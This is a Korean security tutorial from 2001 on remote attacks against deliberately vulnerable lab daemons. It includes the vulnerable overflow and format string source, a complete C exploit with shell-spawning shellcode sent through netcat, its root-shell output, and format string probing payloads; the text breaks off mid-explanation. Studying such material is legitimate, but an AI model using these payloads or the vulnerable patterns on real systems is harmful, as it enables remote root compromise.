Remote Buffer Overflow & Format String 2012 년 8 월 6 일월요일 오후 6:32 ================================================================ Title: Remote Buffer Overflow & Format String :-) Author : 유동훈 (Xpl017Elz) E-mail : szoahc@hotmail.com Home: http://x82.i21c.net Date: f. 2001/10/11 s. 2001/10/23 t. 2001/11/09 ================================================================ 0x00. 서론 0x01. 배경및사전지식 - 0x0100000a. 클라이언트와서버 (Client & Server) - 0x0100000b. 포트 (port) - 0x0100000c. 패킷 (packet) - 0x0100000d. 데몬 (Daemon) 0x02. 공격의구성 - 0x0200000a. Remote 공격의구성 - 0x0200000b. 공격이구성될 Server 정보 - 0x0200000c. 공격에이용될 Daemon의구성 - 0x0200000d. 추가구성설명 0x03. Remote Buffer Overflow - 0x0300000a. 취약점 finding - 0x0300000b. exploit - 0x0300000c. 결과및 stack 값 debugging 0x04. Remote Format String - 0x0400000a. 취약점 finding - 0x0400000b. exploit - 0x0400000c. 결과및 stack 값 debugging 0x05. 결론 ================================================================ REMOTE Buffer Overflow 페이지 1
0x00. 서론 이미, Internet상에공개된엄청난양의공격 source 및 exploit들은 scripts kids들의움직임을부추기고있다. 물론, 여러분은아닐것이라생각한다. 이문서가부디공격에대해공부하시고계시는분들께 remote attack에대한이해를돕는데사용되었으면한다. 내용이부적절하거나오류가있는부분은꼭저자에게 mail을보내주길... 그럼, 배경및사전지식에대해알아보도록하자. 0x01. 배경및사전지식 여러분은 Network 의개념을조금이나마알고있을것이다. 때론, 공격을시도할때 Network 의원리와행동을이해해야하는부분이있다. 공격뿐만이 아니라심지어는 OS 및 programming 을공부할때도사전지식을쌓아두면도움이된다 ;-) 우선, Network 의개념을설명하겠다. Network란, 통신선로에의해서로 Connection되어있는 Series node, connection point들을의미한다. Network는또다른 Network과 Connection될수있고, Sub Network을포함할수있다. Network의공간적거리에따라 LAN (local area network), MAN (metropolitan area network), WAN (wide area network) 등으로나뉘어진다. 0x0100000a. 클라이언트와서버 (Client & Server) Client & Server는두개의컴퓨터 Program 사이에이루어지는역할관계를나타내는것이다. Client는다른 Program에게서비스를요청하는 Program이며, 서버는그요청에대해응답을해주는 Program이다. Client & Server 개념은단일컴퓨터내에서도적용될수있지만, Network 환경에서더큰의미를가진다. Network 상에서 Client & Server model은여러다른지역에걸쳐분산되어있는 Program들을 Connection 시켜주는편리한수단을제공한다. 일반적인 Client & Server model 에서는, 보통데몬 (daemon) 이라불리는서버 Program 이먼저활성화된상태에서 Client 의요구사항을 기다리는데, 대체로다수의 Client Program 이하나의 Server Program 을공유한다. 이와같은 Network 통신을위해서필요한통로가바로, port 이다. 0x0100000b. 포트 (port) REMOTE Buffer Overflow 페이지 2
port는논리적인접속장소라고정의하며, Internet Protocol인 TCP/IP를사용할때에는 Client Program이 Network 상의특정 Server Program을지정하는방법으로사용된다. 웹 Protocol인 HTTP와같이, TCP/IP의상위 Protocol을사용하는응용 Program에서는미리지정된 port번호들을가지고있다. 이런것들은 IANA에의해지정되었으며, 잘알려진 port들이라고불린다. port번호는 0부터 65536 이다. port번호 0부터 1024까지는어떤특권을가진 Service에의해사용될수있도록예약되어있다. 0x0100000c. 패킷 (packet) Packet 이란 data 와호제어신호가포함된 2 진수, 즉비트의그룹을말하는데, 특히 Packet 교환방식에서데이터를전송할때에는 Packet 이라는기본전송단위로데이터를 분해하여전송한후, 다시원래의 data 로재조립하여처리한다. 이로써, 우리가알아야할기본배경지식은어느정도익힌것같다. 다들이런의문을갖게될것이다. 왜? 무엇때문에네트워크의개념정리를설명하였는가? 라고말이다. 이는, 우리가알아야할 remote 공격에한차원더가까이접근하기위함이다. 여러분이알고있는 local공격과는많이다른것을이미잘알고있을듯하다. 마지막으로, Daemon 에관한개념만설명한후공격의구성부분을들어가도록하겠다. 0x0100000d. 데몬 (Daemon) Daemon 은주기적인 Service 요청을처리하기위해 Linux 나 Unix 상 ( 즉, Server) 에서지속적으로 실행되는 Program 을말한다. 그역할은, 수집된요구들을또다른 Program 이나 Process 들이 처리할수있도록적절히전달한다. 0x02. 공격의구성 지루한개념부분에서다룬내용을반드시염두해두길바란다. 이제부턴심심치않을공격부분의 내용을위주로설명할까한다. remote 공격의구성은쉽게다음과같이생각해볼수있다. 0x0200000a. Remote 공격의구성 fi) Server 의특정 Daemon 이지니고있는 Buffer Overflow 취약점. REMOTE Buffer Overflow 페이지 3
se) 특정 Daemon 이지니고있는 Format String 취약점. th) 기타, 설정상의오류를불러오는취약한 Daemon Program. 쉽게구성해볼수있는 Overflow 취약점의 Daemon 과 Format String 취약점 Daemon 을띄워둔후 공격해보도록하자. 여기서만약 Overflow 와 Format String 취약점의개념을공부하고싶다면, 먼저아래문서들을참고하길바란다. http://www.zdnet.com/eweek/stories/general/0,11011,2605669,00.html http://www.networkmagazine.com/article/nmg20000511s0015 http://julianor.tripod.com/usfs.html http://my.dreamwiz.com/hackingm/lecture/overflow.txt http://my.dreamwiz.com/hackingm/lecture/f0rm47_s7r1n9.txt remote 공격을구성하려면, 먼저 Server 2 대가필요하다. 한대에서 localhost loopback 을이용해도상관은없지만, 서로다른 memory 와 stack 을갖춘 시스템사이의공격이나을듯하다. 0x0200000b. 공격이구성될 Server 정보 우선, 공격당할 host 의정보이다. [x82@xpl017elz x82]$ uname -a Linux xpl017elz.org 2.2.14-5.0 #1 Thu Mar 16 02:23:03 KST 2000 i586 unknown [x82@xpl017elz x82]$ gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release) [x82@xpl017elz x82]$ gdb -v GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". [x82@xpl017elz x82]$ 아래는, 공격시도할 host 의정보이다. [x82@testsub x82]$ uname -a Linux testsub 2.2.12-20kr #1 Tue Oct 12 16:46:36 KST 1999 i686 unknown [x82@testsub x82]$ gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs REMOTE Buffer Overflow 페이지 4
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release) [x82@testsub x82]$ gdb -v GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". [x82@testsub x82]$ 0x0200000c. 공격에이용될 Daemon 의구성 Daemon 은다음과같이구성한다. 현재문서를공부중인분들을고려하여, inetd 를이용하여 쉽게열수있도록구현하였다. [root@xpl017elz tmp]$ cat /etc/inetd.conf tfido stream tcp nowait root /var/tmp/daemon daemon [root@xpl017elz tmp]$ 60177 번 (tfido service) 을열어둔후 /var/tmp/daemon 이라는파일을실행하게만들어두었다. tcp port 형태로 root 권한으로이를실행한다. 다음은, Overflow 의취약점을갖는 Daemon 프로그램의 Source 이다. main() { char exec[600]; fgets(exec,700,stdin); } 위 Source 를살펴보면, fgets() 함수에서 100 개의문자열을더받으므로써배열범위의 오버플로우가발생하는것을알수있다. (fgets(...,700,...); <-- 이부분에서오버플로우를야기함 ) 그다음은, Format String 의취약점을갖는 Daemon 프로그램의 Source 이다. main() { char bug[500]; fgets(bug,500,stdin); printf(bug); } 위 Source 는 printf() 함수로출력하는과정에서 Format string 취약점을갖는다. (printf(bug); <-- 이부분에서변환문자를사용하지않고입력받는변수자체를출력한다 ) local 공격상에선일정 stack address에 shellcode를띄운뒤그 address의 code 실행하여이득을볼수있었다. remote 공격도비슷한원리를이용해 shell을얻는것은분명하다. 하지만, local 공격도구중에하나인 eggshell 같은유용한프로그램을사용할수는없다. 매우원시적 ( 노가다?) 인방법을통해비로소, remote 공격은이루어질수있는것이다. 공격을받는 daemon 의특징은사용자로부터입력을받는다는점이다. 바로이부분에서사용자가 REMOTE Buffer Overflow 페이지 5
이용할수있는 service를벗어나서우리가원하는목적을달성할가능성을얻게된다. 참고로, 사용자의입력이아니더라도취약점은일어날수있다. local glibc 취약점같은경우에는사용자의직접적인입력이아닌 locale을이용한간접적인입력으로 shell을얻어낸다. ( 참으로놀라운발견이아닐수없다 ) 하지만, 우리는어렵지않게구성된취약점 Daemon을이용하는것이므로... :-) ( 더이상깊이생각할필요는없다 ) 자 ~ 그럼, 입력을기다리는 daemon을이용해우리가원하는목적을달성해보도록하자. 0x0200000d. 추가구성설명 실제 remote 공격시에는여러가지환경에따라변수가존재한다. remote 상에서상대편 host의 stack상의내용을 debugging하는작업은구성할수없으며, 반노가다형식으로숙련된 KnowHow를이용해야한다. 그러므로, 이러한공격의경험이많을수록좋을것이다. 이사실을감안하여, 우리가갖춘구성환경은매우쉽고 simple하게, 어느환경이나존재하는어려운변수들은제거한상태에서시행할것이다. exploit을통한공격은 c언어 programming을이용할것이며, stack상의내용변경확인은같은내부 debugging이아닌외부에서출력되도록 code를 dump하여살펴보도록할것이다. 0x03. Remote Buffer Overflow 우선, Remote Buffer Overflow 부터구상해봤다. 아래는외부 Server 에서 Target Server 로 telnet 해본것이다. [x82@testsub x82]$ id uid=501(x82) gid=501(x82) groups=501(x82) [x82@testsub x82]$ telnet xxx.xx.xx.xx 60177 Trying xxx.xx.xx.xx... Connected to xxx.xx.xx.xx. Escape character is '^]'. 0x0300000a. 취약점 finding 어느지점에서 Overflow가일어나는지외부에서조사할가능성이없지는않다. 물론, 정확한오프셋값을알아내기란하늘의별따기일것이다. 대부분의 Remote 공격 testing은먼저자신의 Server에서 localhost loopback으로공격을시도한다. 그이유는내부에서 Server의외부를공격하는것이기때문에일반적인 Remote 공격과는다르게 Debugging을시행할수있는것이다. 그프로그램중에하나가 ltrace 이다. 이프로그램을이용해실행되고있는 daemon 프로세스 를어태치하여살펴보면, 어느지점에서 Overflow 가일어나고또, 그위치 address 가어떻게 REMOTE Buffer Overflow 페이지 6
되는지를파악할수있게된다. 이로써얻은공격 exploit 을, 취약점이있는다른시스템의 배포판에적용하면, 공격성공률은매우높다. ( 단, 같은취약버전의배포판 ) 이용의예 : [root@xpl017elz /tmp]# ltrace -p 788 -o /tmp/ltracing & # 788 = Daemon process [1] 792 [root@xpl017elz /tmp]# (printf "\~\~\~ format string \~\~\~";cat) nc 127.0.0.1 port [1]+ Done ltrace -p 788 -o /tmp/ltracing [root@xpl017elz /tmp]# cat /tmp/ltracing 788 svc_getreqset(0xbffffcac, 256, 0xbffffd94, 0, 0x400f2398 <unfinished...> 788 xdr_string(0x08051008, 0xbffff6ec, 1024, 0x400d6d63, 0x08051008) = 1 788 gethostbyname(0x08052220, 0xbffff6ec, 0x080498b8, 0xbffff6ec, 0xbffffc34)=0 788 vsnprintf(0xbffff2b8, 1024, 0x0804d309, 0xbffff6c4, 0xbffff6ec) = 1023 788 syslog(5, 0xbffff2b8, 0xbffff6ec, 0x0804a658, 0x90909090 <unfinished...> 788 --- SIGSEGV (Segmentation fault) --- ( 비정상종료가일어났다.) 788 +++ killed by SIGSEGV +++ 이렇게해서알아낸값을대입하여공격하는 Remote attack이한때, 유명했던 Rpc statd 공격이였다. string() 관련함수에의해일어나는 Overflow 라면, 위의방식처럼추측하여, 좀더, 쉽게공격을시도해볼수있다. 다른 Source를컴파일하여알아본결과문자열 512개문자열입력후 4byte후에 Segmentation fault가일어나는것까지알아볼수있었다. [root@xpl017elz tmp]# [2]- Done ltrace -p 5213 -o /tmp/debug [root@xpl017elz tmp]# cat /tmp/debug 5213 strcpy(0xbffff900, "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"...) = 0xbffff900 5213 --- SIGSEGV ( 세그멘테이션오류 ) --- 5213 +++ killed by SIGSEGV +++ [root@xpl017elz tmp]# dumpcode 를이용하여, 각 address 의값을쉽게읽어와보자. [x82@testsub x82]$ telnet xxx.xx.xx.xx 60177 Trying xxx.xx.xx.xx... Connected to xxx.xx.xx.xx. Escape character is '^]'. 0xbffffb00 0d 0a 00 40 a0 fd ff bf 68 fb ff bf 00 00 00 00...@...h... 0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 90 20 01 40....@ 0xbffffb20 07 00 00 00 f0 93 00 40 18 00 00 00 58 fb ff bf...@...x... 0xbffffb30 54 fb ff bf 50 fb ff bf 30 02 00 40 00 00 00 00 T...P...0..@... 0xbffffb40 00 00 00 00 94 fd ff bf 02 00 00 00 00 00 00 00... 0xbffffb50 14 13 00 40 c8 02 00 00 00 00 00 00 00 00 00 00...@... REMOTE Buffer Overflow 페이지 7
0xbffffb60 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00...@... 0xbffffb70 8c 21 01 40 00 00 00 00 00 00 00 00 00 00 00 00.!.@...... 중략... 0xbffffda0 01 00 00 00 84 fe ff bf 00 00 00 00 8b fe ff bf... 0xbffffdb0 a6 fe ff bf b1 fe ff bf bc fe ff bf ca fe ff bf... 0xbffffdc0 fc fe ff bf 11 ff ff bf 18 ff ff bf 24 ff ff bf...$... 0xbffffdd0 2f ff ff bf 3f ff ff bf 4a ff ff bf 5b ff ff bf /...?...J...[... 0xbffffde0 68 ff ff bf 70 ff ff bf 7c ff ff bf 00 00 00 00 h...p...... 0xbffffdf0 03 00 00 00 34 80 04 08 04 00 00 00 20 00 00 00...4...... 0xbffffe00 05 00 00 00 06 00 00 00 06 00 00 00 00 10 00 00... 0xbffffe10 07 00 00 00 00 00 00 40 08 00 00 00 00 00 00 00...@... Connection closed by foreign host. 편리하지않은가? 모든 Remote 공격이이렇게편리했으면좋으련만 :-( 취약점이존재하는 daemon의 Source(daemon.c) 를살펴보면, 변수 exec공간 600byte 입력후 ebp 4byte 공간만지나면곧바로 Return address 영역이존재한다. 그러므로, 600byte의공간에 shellcode를입력후입력한 shellcode의주소를 Return address 영역에담으면되는것이다. 이것을도식화하여나타내보면, 다음과같다. +------------+ +-----------+ +-------------+ exec e b p Return add +------------+ +-----------+ +-------------+ 600byte 4byte 4byte 0x0300000b. exploit 변경시킬 Stack 의내용 : [NNNNNN...NNNNNNNSSSS...SSSSXXXX...XXXXXX&shellcode] NOP = 250byte (0xbffffb00 ~ 0xbffffbf9) shellcode = 24byte (0xbffffbfa ~ 0xbffffc11) etcvalues = 330byte (0xbffffc12 ~ 0xbffffd5b) shellcode address = 4byte (0xbffffd5c ~ 0xbffffd5f) 총 : 608byte Overwrite (0xbffffb00 ~ 0xbffffd5f) 위와같이 code dumping 을통해각영역의 address 를쉽게알아낼수있었다. 완성된 exploit: REMOTE Buffer Overflow 페이지 8
[x82@testsub x82]$ cat expl.c #include <stdio.h> char exec [1000], *netcat = "/usr/local/bin/nc"; /* 우리가공격할패킷을만들어줄프로그램. 이부분은 nc 의위치에따라바꿔주어야한다. */ char shellcode[] = "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52" "\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; /* shellcode ( 단 24byte 소요 ) */ /* asm (" xorl %edx,%edx pushl %edx pushl $0x68732f6e pushl $0x69622f2f movl %esp,%ebx pushl %edx pushl %ebx movl %esp,%ecx leal 0xb(%edx),%eax int $0x80 "); */ main( int argc, char *argv[] ) { /* 입력받을 IP(argv[1]) 와 port(argv[2]) 변수 */ int score, score_ran, number; char allcode[1500]; /* 공격 code 변수작성 */ bzero ( &allcode, 1500 ); for ( score = 0; score <= (274-sizeof(shellcode)); score++ REMOTE Buffer Overflow 페이지 9
) { allcode[score] = 0x90; /* 275byte 공간에서 shellcode의길이를제외한나머지공간에 NOP를구성한다. */ } for ( score_ran = 0, score = score; score_ran < (sizeof(shellcode)-1); score++, score_ran++ ) { allcode[score] = shellcode[score_ran]; /* 위에서입력된 1byte를마이너스한후 shellcode를그공간에 shellcode를집어넣는다. */ } for ( number = 0; number <= 329; number++ ) { allcode[score++] = 0x20; /* Space Key */ /* 그다음 330byte 영역을 0x20 ( 스페이스문자 ) 값으로구성한다. */ } /* 다음 4byte 영역에곧바로 Return Address를집어넣는다. */ allcode[score++] = 0xf8; allcode[score++] = 0xfb; allcode[score++] = 0xff; allcode[score++] = 0xbf; /* 우리가 shellcode 를띄울영역이 0xbffffbf8 이란것을알았으므로, 그부분의 address 를쉽게대입하여집어넣을수있었다. */ printf("\n\n\t[test] Remote Buffer Overflow Attack Exploit"); printf("\n\tmake by '\\x82\\x41\\xff\\xbf'\n\n"); if ( argc < 3 ) { /* 인수입력확인 */ printf("\tusage: %s target[ip] target[port]\n",argv[0]); printf("\t Ex>: %s 127.0.0.1 60177\n\n",argv[0]); exit(0); } sprintf(exec,"( printf \"%s\"; cat ) %s %s %s ",allcode,netcat,argv[1],argv[2] ); REMOTE Buffer Overflow 페이지 10
system(exec); /* User 로부터입력받은 ip,port 를대입한다. 물론, 작성한공격패킷을 netcat 이란프로그램을이용하여입력받은상대편호스트의 port 로공격을가한다. */ } [x82@testsub x82]$ 0x0300000c. 결과및 stack 값 debugging 복잡한연산은하지않는다. 간단히값을대입하고 nc 를이용해 Packet 을만들어보내주는것이다. exploit 을이용하면, 쉽게 shell 을띄울수있다. [x82@testsub x82]$./expl 211.59.28.75 60177 [Test] Remote Buffer Overflow Attack Exploit Make by '\x82\x41\xff\xbf' id uid=0(root) gid=0(root) groups=0(root) whoami root exit [x82@testsub x82]$ Debugging: 0xbffffb00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffb10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffb20 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffb30 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffb40 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffb50 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffb60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffb70 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffb80 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffb90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffba0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... REMOTE Buffer Overflow 페이지 11
0xbffffbb0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffbc0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffbd0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffbe0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffffbf0 90 90 90 90 90 90 90 90 90 90 // NOP의끝부분 31 d2 52 68 6e 2f...1.Rhn/ 0xbffffc00 73 68 68 2f 2f 62 69 89 e3 52 53 89 e1 8d 42 0b shh//bi..rs...b. 0xbffffc10 cd 80 // shellcode 끝부분.. 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffc20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffc30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffc40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffc50 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffc60 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffc70 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffc80 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffc90 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffca0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffcb0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffcc0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffcd0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffce0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffcf0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffd00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffd10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffd20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffd30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffd40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffffd50 20 20 20 20 20 20 20 20 20 20 20 20 // etcvalues 끝부분 0xbffffd60 0a 00 00 00 f8 fb ff bf... // &shellcode address id uid=0(root) gid=0(root) groups=0(root) exit 이로써, Remote Buffer Overflow 는쉽게성공하였다. 그럼, 이번엔 Remote Format String 공격을시도해보도록하자. 0x04. Remote Format String REMOTE Buffer Overflow 페이지 12
위 Remote Buffer Overflow 공격과비슷한환경으로구성되었다. 아래는외부 Server 에서 Target Server 로 telnet 해본것이다. [x82@testsub x82]$ id uid=501(x82) gid=501(x82) groups=501(x82) [x82@testsub x82]$ telnet xxx.xx.xx.xx 60177 Trying xxx.xx.xx.xx... Connected to xxx.xx.xx.xx. Escape character is '^]'. 0x0400000a. 취약점 finding 추가구성설명부분에서말했던것과같이 code 를 dump 받아볼수있는환경을 조성하여공격을시도하였다. gdb 로실행되고있는프로세스를어태치해도 가능하지만, 그작업은나중으로미루겠다. 우선, 우리가공격하는 target server 가어떠한상태인지알아보자. [x82@testsub x82]$ (printf "id";cat) nc xxx.xx.xx.xx 60177 id 0xbffff7d4 69 64 0a 00 00 00 00 40 00 00 00 00 8c 21 01 40 id...@...!.@ 0xbffff7e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffff7f4 00 00 00 00 c4 21 01 40 bc 21 01 40 94 21 01 40...!.@.!.@.!.@ 0xbffff804 9c 21 01 40 a4 21 01 40 00 00 00 00 00 00 00 00.!.@.!.@... 0xbffff814 00 00 00 00 ac 21 01 40 b4 21 01 40 00 00 00 00...!.@.!.@... 0xbffff824 00 00 00 00 8c 21 01 40 d8 a4 02 40 00 f9 ff bf...!.@...@... 0xbffff834 86 79 00 40 ac a4 02 40 ac a4 02 40 24 20 01 40.y.@...@...@$.@ 0xbffff844 a8 2b 01 40 0d 43 00 00 24 20 01 40 a8 2b 01 40.+.@.C..$.@.+.@ 0xbffff854 a6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffff864 00 00 00 00 00 00 00 00 b0 3a 00 00 00 00 00 00...:... 0xbffff874 00 00 00 00 00 00 00 00 00 00 00 00 24 f7 01 40...$..@ 0xbffff884 ab 03 00 00 64 2a 02 40 74 bc 01 40 a8 2b 01 40...d*.@t..@.+.@ 0xbffff894 d8 a4 02 40 68 f9 ff bf 86 79 00 40 ac a4 02 40...@h...y.@...@ 0xbffff8a4 88 82 04 08 24 20 01 40 b0 26 01 40 6e 00 00 00...$.@.&.@n... 0xbffff8b4 ac a4 02 40 24 20 01 40 a8 2b 01 40 5b 41 00 00...@$.@.+.@[A.. 0xbffff8c4 a8 2b 01 40 a5 59 00 00 86 79 00 40 ac a4 02 40.+.@.Y...y.@...@ 0xbffff8d4 98 2a 02 40 24 20 01 40 b0 26 01 40 14 82 04 08.*.@$.@.&.@... 0xbffff8e4 f0 38 00 00 f4 26 02 40 a8 06 00 00 64 2a 02 40.8...&.@...d*.@ 0xbffff8f4 74 bc 01 40 a8 2b 01 40 03 00 00 00 18 2e 01 40 t..@.+.@...@ REMOTE Buffer Overflow 페이지 13
0xbffff904 01 00 00 00 20 f9 ff bf f4 81 04 08 b4 28 01 40......(.@ 0xbffff914 0f 53 8e 07 9c f9 ff bf 72 82 04 08 f4 26 02 40.S...r...&.@ 0xbffff924 a8 2b 01 40 ac f9 ff bf bf 6b 02 40 64 f5 01 40.+.@...k.@d..@ 0xbffff934 a8 2b 01 40 f4 0c 02 40 a8 2b 01 40 b4 28 01 40.+.@...@.+.@.(.@ 0xbffff944 8e ff 77 01 cc f9 ff bf 60 82 04 08 f4 1f 02 40..w...`...@ 0xbffff954 a8 2b 01 40 77 ff ff bf c0 f9 ff bf 1f 00 00 00.+.@w... 0xbffff964 ec 7b 10 40 a0 f9 ff bf 9d 9f 00 40 c7 03 01 40.{.@...@...@ 0xbffff974 48 2e 01 40 07 00 00 00 ee 9e 00 40 1c 97 04 08 H..@...@... 0xbffff984 00 a6 00 40 14 fa ff bf b0 26 01 40 f4 81 04 08...@...&.@... 0xbffff994 28 97 04 08 72 82 04 08 f4 26 02 40 c8 f9 ff bf (...r...&.@... 0xbffff9a4 10 a1 00 40 4b 80 0f 40 1c 97 04 08 00 a6 00 40...@K..@...@ 0xbffff9b4 14 fa ff bf c8 f9 ff bf 4b 84 04 08 08 97 04 08...K... 0xbffff9c4 1c 97 04 08 e8 f9 ff bf fb 11 03 40 01 00 00 00...@... 0xbffff9d4 14 fa ff bf 1c fa ff bf... [x82@testsub x82]$ 다시말하지만, 일반적으로이렇게쉽게공격에노출된프로그램은없다. --; 예상대로 target server Stack 상엔 "id\n" (69 64 0a) 이 push 되었다. format string 취약점은 Overflow 와비슷한모양을하고있지만, 기법적인면에서는접근방법이염연히다르다. 위 daemon에서사용된 fgets() 함수는경계검사를하는함수이므로 Overflow의취약점은지니지않는다. 하지만, 출력하는부분인 printf() 함수에서결함을일으켜우리가원하는것을이루게해준다. 공격시사용되는 code 는 format string ( 변환문자 ) 를이용하여 Stack 에 push 한다. 한번, 다음 testing 을유심히살펴보기바란다. [x82@testsub x82]$ (printf "AAAA %%x %%x %%x %%x";cat) nc xxx.xx.xx.xx 60177 AAAA 41414141 20782520 25207825 78252078 0xbffff7d4 41 41 41 41 25 78 25 78 25 78 25 78 0a 00 01 40 AAAA%x%x%x%x...@ 0xbffff7e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffff7f4 00 00 00 00 c4 21 01 40 bc 21 01 40 94 21 01 40...!.@.!.@.!.@ 0xbffff804 9c 21 01 40 a4 21 01 40 00 00 00 00 00 00 00 00.!.@.!.@... 0xbffff814 00 00 00 00 ac 21 01 40 b4 21 01 40 00 00 00 00...!.@.!.@... 0xbffff824 00 00 00 00 8c 21 01 40 d8 a4 02 40 00 f9 ff bf...!.@...@... 0xbffff834 86 79 00 40 ac a4 02 40 ac a4 02 40 24 20 01 40.y.@...@...@$.@ 0xbffff844 a8 2b 01 40 0d 43 00 00 24 20 01 40 a8 2b 01 40.+.@.C..$.@.+.@ 0xbffff854 a6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffff864 00 00 00 00 00 00 00 00 b0 3a 00 00 00 00 00 00...:... 0xbffff874 00 00 00 00 00 00 00 00 00 00 00 00 24 f7 01 40...$..@ 0xbffff884 ab 03 00 00 64 2a 02 40 74 bc 01 40 a8 2b 01 40...d*.@t..@.+.@ 0xbffff894 d8 a4 02 40 68 f9 ff bf 86 79 00 40 ac a4 02 40...@h...y.@...@ REMOTE Buffer Overflow 페이지 14
0xbffff8a4 88 82 04 08 24 20 01 40 b0 26 01 40 6e 00 00 00...$.@.&.@n... 0xbffff8b4 ac a4 02 40 24 20 01 40 a8 2b 01 40 5b 41 00 00...@$.@.+.@[A.. 0xbffff8c4 a8 2b 01 40 a5 59 00 00 86 79 00 40 ac a4 02 40.+.@.Y...y.@...@ 0xbffff8d4 98 2a 02 40 24 20 01 40 b0 26 01 40 14 82 04 08.*.@$.@.&.@... 0xbffff8e4 f0 38 00 00 f4 26 02 40 a8 06 00 00 64 2a 02 40.8...&.@...d*.@ 0xbffff8f4 74 bc 01 40 a8 2b 01 40 03 00 00 00 18 2e 01 40 t..@.+.@...@ 0xbffff904 01 00 00 00 20 f9 ff bf f4 81 04 08 b4 28 01 40......(.@ 0xbffff914 0f 53 8e 07 9c f9 ff bf 72 82 04 08 f4 26 02 40.S...r...&.@ 0xbffff924 a8 2b 01 40 ac f9 ff bf bf 6b 02 40 64 f5 01 40.+.@...k.@d..@ 0xbffff934 a8 2b 01 40 f4 0c 02 40 a8 2b 01 40 b4 28 01 40.+.@...@.+.@.(.@ 0xbffff944 8e ff 77 01 cc f9 ff bf 60 82 04 08 f4 1f 02 40..w...`...@ 0xbffff954 a8 2b 01 40 77 ff ff bf c0 f9 ff bf 1f 00 00 00.+.@w... 0xbffff964 ec 7b 10 40 a0 f9 ff bf 9d 9f 00 40 c7 03 01 40.{.@...@...@ 0xbffff974 48 2e 01 40 07 00 00 00 ee 9e 00 40 1c 97 04 08 H..@...@... 0xbffff984 00 a6 00 40 14 fa ff bf b0 26 01 40 f4 81 04 08...@...&.@... 0xbffff994 28 97 04 08 72 82 04 08 f4 26 02 40 c8 f9 ff bf (...r...&.@... 0xbffff9a4 10 a1 00 40 4b 80 0f 40 1c 97 04 08 00 a6 00 40...@K..@...@ 0xbffff9b4 14 fa ff bf c8 f9 ff bf 4b 84 04 08 08 97 04 08...K... 0xbffff9c4 1c 97 04 08 e8 f9 ff bf fb 11 03 40 01 00 00 00...@... 0xbffff9d4 14 fa ff bf 1c fa ff bf... [x82@testsub x82]$ 위와같이 format string을이용해출력을요구하면, 취약한프로그램은 Stack의내용을그대로출력한다. 여기서 AAAA를먼저넣어주고 %x로출력을요구한이유는실제 Stack상에 push되는주소값과, 입력후출력되는주소값이얼마간의오차가존재하는가를계산하는역할을한다. %x는 16진수를출력할때사용된다. 그이유는 16진수로이루어진 Stack의값을적절히출력하기위해서인데, 위에 %%x로쓰인이유는첫째로들어가는 % 가정확한출력을위해 (printf "") 명령내부에서 format string을인식시키는역할을하기때문이다. 